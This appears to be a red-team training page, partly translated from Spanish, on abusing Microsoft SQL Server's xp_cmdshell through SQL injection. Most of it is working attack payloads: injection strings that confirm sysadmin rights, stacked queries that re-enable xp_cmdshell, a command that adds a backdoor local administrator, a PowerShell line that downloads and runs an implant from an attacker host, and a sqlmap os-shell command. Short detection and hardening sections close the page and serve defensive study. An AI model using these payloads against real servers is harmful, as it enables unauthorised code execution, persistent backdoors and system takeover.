Ir al contenido

📕 FIELD MANUAL 7.2: SYSTEM COMMAND EXECUTION (MSSQL XP_CMDSHELL)

Objective: We will execute operating system commands (RCE) by abusing extended stored procedures in Microsoft SQL Server.

0views

Classification: RED TEAM EYES ONLY

Objective: We will execute operating system commands (RCE) by abusing extended stored procedures in Microsoft SQL Server.

Targets: Windows Corporate Environments, Active Directory.

MITRE ATT&CK: T1059.003 (Windows Command Shell), T1059.001 (PowerShell), T1505.003.

It is an Extended Stored Procedure that spawns a Windows command shell (cmd.exe) and returns the output as text rows in the database.

For security reasons, Microsoft disables xp_cmdshell by default in modern installations (since SQL Server 2005). However, if we compromise the sa user (System Administrator) or a user with ALTER SETTINGS permissions, we can reactivate it ourselves.

Before attempting to activate it, we will check if we are “god” in the database.

  • Payload (Check User):

    ' UNION SELECT 1, user_name(), 3, 4 --

    (If it returns dbo or sa, we're good).

  • Payload (Check Admin Role):

    ' AND (SELECT is_srvrolemember('sysadmin')) = 1 --

    (If the page loads normally (True), we are sysadmin).

2. WEAPONIZATION: REACTIVATION AND EXECUTION

Sección titulada «2. WEAPONIZATION: REACTIVACIÓN Y EJECUCIÓN»

For this, we will almost always need Stacked Queries (Module 3.3), as they are several sequential commands.

First, we must tell the server to show us the hidden options.

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --

Now we will activate the shell.

'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

Now we are the console.

Proof of Concept (Ping): We will send a ping to our server to verify outbound traffic (ICMP).

'; EXEC xp_cmdshell 'ping -n 3 10.10.10.10'; --

User Creation (Local Backdoor):

'; EXEC xp_cmdshell 'net user RedTeam Password123! /add'; EXEC xp_cmdshell 'net localgroup Administrators RedTeam /add'; --

Effect: We will have created a local administrator on the Windows server. Now we can connect via RDP or SMB.

3. ESCALATION: FROM CMD TO POWERSHELL (COBALT STRIKE / METASPLOIT)

Sección titulada «3. ESCALADA: DE CMD A POWERSHELL (COBALT STRIKE / METASPLOIT)»

The cmd.exe is limited. We want a robust interactive session or a Beacon. We will use PowerShell to download and execute our implant in memory (Fileless Malware).

'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''[http://atacante.com/payload.ps1](http://atacante.com/payload.ps1)'')"'; --
  • Note: Be careful with quotes. In SQL, to put a quote inside a string, we sometimes have to duplicate it ('') or use encoding.

SQLMap will automate the entire process of: detecting MSSQL, verifying if it is a DBA, enabling xp_cmdshell, and giving us a shell.

Command:

sqlmap -u "[http://target.com/vuln.aspx?id=1](http://target.com/vuln.aspx?id=1)" --os-shell
  • If xp_cmdshell fails, SQLMap will automatically try other techniques (such as xp_oacreate, which uses OLE objects to invoke wscript.shell).
  1. Event ID 15281 (SQL Server): This event is triggered specifically when we execute xp_cmdshell. It is the “smoking gun”.
    • Log: La opción de configuración 'xp_cmdshell' ha cambiado de 0 a 1.
  2. Child Processes (EDR): We will detect sqlservr.exe (the database process) starting cmd.exe or powershell.exe as a child process. This is a high-fidelity anomalous behavior.
  3. Service Users: If the SQL Server service runs as NT AUTHORITY\SYSTEM (a common bad practice), the attacker will have full control of the OS.
  1. Principle of Least Privilege (Service Account): We will run the SQL Server service with a low-privileged domain account (Managed Service Account), NOT as SYSTEM or Administrator. This way, even if we execute xp_cmdshell, we will not be able to touch the system.
  2. Separation of Duties: The web application must not connect to the DB as user sa. If it connects as a restricted user, the attacker will not have permissions to execute sp_configure and reactivate the shell.
  3. Hardening: We will keep xp_cmdshell disabled and monitor any attempt to change the configuration.

Status: Module 7.2 Completed. Mission: We will understand the severity of running database services as Administrator.